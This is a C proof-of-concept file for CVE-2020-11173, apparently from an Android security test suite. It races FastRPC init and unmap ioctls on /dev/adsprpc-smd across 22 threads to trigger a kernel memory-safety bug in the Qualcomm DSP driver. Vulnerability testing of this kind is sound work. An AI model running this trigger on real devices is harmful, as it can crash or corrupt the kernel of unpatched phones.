1 /*
2  * CVE-2020-11173
3  */
4 
5 #define _GNU_SOURCE
6 
7 #include <fcntl.h>
8 #include <linux/futex.h>
9 #include <pthread.h>
10 #include <stdlib.h>
11 #include <sys/ioctl.h>
12 #include <sys/syscall.h>
13 #include <unistd.h>
14 
15 #include "../includes/common.h"
16 #include "local_poc.h"
17 
18 #define ION "/dev/ion"
19 #define DEV "/dev/adsprpc-smd"
20 
21 #define SLEEP 0
22 #define ATTACK 1
23 #define CPU_CNT 8
24 #define THREAD_CNT 22
25 
26 static int dev_fd;
27 static volatile int run;
28 static volatile int dma_fd;
29 static volatile int online;
30 static volatile int attack;
31 
set_affinity(int cpu)32 static int set_affinity(int cpu) {
33   int ret = -1;
34   cpu_set_t mask;
35   CPU_ZERO(&mask);
36   CPU_SET(cpu, &mask);
37   return ret;
38 }
39 
wait_threads(int count)40 void wait_threads(int count) {
41   time_t th_timer = start_timer();
42   while (timer_active(th_timer)) {
43     if (online == count)
44       break;
45     usleep(1000);
46   }
47 }
48 
ion_alloc(int size)49 static int ion_alloc(int size) {
50   int ion_fd;
51   int ret = -1;
52   struct ion_allocation_data alloc_data;
53 
54   ion_fd = open("/dev/ion", O_RDONLY);
55   if (ion_fd < 0) {
56     return ret;
57   }
58 
59   alloc_data.len = size;
60   alloc_data.heap_id_mask = ION_HEAP(ION_ADSP_HEAP_ID);
61   alloc_data.flags = ION_FLAG_CP_TOUCH;
62   ret = ioctl(ion_fd, ION_IOC_ALLOC, &alloc_data);
63   if (ret < 0) {
64     close(ion_fd);
65     return ret;
66   }
67   close(ion_fd);
68   return alloc_data.fd;
69 }
70 
init_thread(void * data)71 void *init_thread(void *data) {
72   int cpu = (int)(unsigned long)data;
73   struct fastrpc_ioctl_init init = {0};
74 
75   init.filefd = dma_fd;
76   init.filelen = getpagesize();
77   init.mem = (void *)0xdeadbeef;
78   init.flags = FASTRPC_INIT_CREATE;
79 
80   set_affinity(cpu);
81 
82   __sync_fetch_and_add(&online, 1);
83   syscall(SYS_futex, &attack, FUTEX_WAIT_PRIVATE, SLEEP, NULL, NULL, 0);
84   ioctl(dev_fd, FASTRPC_IOCTL_INIT, &init);
85   run = 0;
86   return NULL;
87 }
88 
unmap_thread(void * data)89 void *unmap_thread(void *data) {
90   int cpu = (int)(unsigned long)data;
91   struct fastrpc_ioctl_munmap_fd unmap = {0};
92 
93   unmap.va = 0;
94   unmap.fd = dma_fd;
95   unmap.len = getpagesize();
96 
97   set_affinity(cpu);
98 
99   __sync_fetch_and_add(&online, 1);
100   syscall(SYS_futex, &attack, FUTEX_WAIT_PRIVATE, SLEEP, NULL, NULL, 0);
101   while (run) {
102     ioctl(dev_fd, FASTRPC_IOCTL_MUNMAP_FD, &unmap);
103     usleep(500);
104   }
105   return NULL;
106 }
107 
trigger(void)108 int trigger(void) {
109   int i;
110   int ret = -1;
111   int th_cnt = 0;
112   int cid = 3;
113 
114   pthread_t init_th;
115   pthread_t unmap_th[THREAD_CNT] = {0};
116   struct fastrpc_ioctl_init_attrs init;
117 
118   dev_fd = open(DEV, O_RDONLY);
119   if (dev_fd < 0) {
120     return ret;
121   }
122 
123   ret = ioctl(dev_fd, FASTRPC_IOCTL_GETINFO, &cid);
124   if (ret < 0) {
125     goto out_dev;
126   }
127 
128   init.init.filelen = 1024 * 1024;
129   init.init.memlen = 2 * 1024 * 1024;
130   init.init.flags = 0;
131   ret = ioctl(dev_fd, FASTRPC_IOCTL_INIT_ATTRS, &init);
132   if (ret < 0) {
133     goto out_dev;
134   }
135 
136   dma_fd = ion_alloc(getpagesize());
137   if (dma_fd < 0) {
138     ret = -1;
139     goto out_dev;
140   }
141 
142   run = 0;
143   attack = SLEEP;
144   online = 0;
145   for (i = 0; i < THREAD_CNT / 2; i++) {
146     ret = pthread_create(unmap_th + i, NULL, unmap_thread,
147                          (void *)(unsigned long)(i % CPU_CNT));
148     if (ret < 0) {
149       continue;
150     }
151     th_cnt++;
152   }
153   pthread_create(&init_th, NULL, init_thread, (void *)(unsigned long)0);
154   th_cnt++;
155 
156   for (i = THREAD_CNT / 2; i < THREAD_CNT; i++) {
157     ret = pthread_create(unmap_th + i, NULL, unmap_thread,
158                          (void *)(unsigned long)(i % CPU_CNT));
159     if (ret < 0) {
160       continue;
161     }
162     th_cnt++;
163   }
164 
165   wait_threads(th_cnt);
166   run = 1;
167   attack = ATTACK;
168   syscall(SYS_futex, &attack, FUTEX_WAKE_PRIVATE, INT_MAX, NULL, NULL, 0);
169   pthread_join(init_th, NULL);
170   for (i = 0; i < THREAD_CNT; i++) {
171     if (unmap_th[i] != 0) {
172       pthread_join(unmap_th[i], NULL);
173     }
174   }
175 
176 out_dev:
177   close(dev_fd);
178   return ret;
179 }
180 
main()181 int main() {
182   int ret = -1;
183   time_t reg_timer = start_timer();
184   while (timer_active(reg_timer)) {
185     ret = trigger();
186     if (ret < 0) {
187       return EXIT_FAILURE;
188     }
189     if (ret) {
190       break;
191     }
192   }
193   return EXIT_SUCCESS;
194 }
195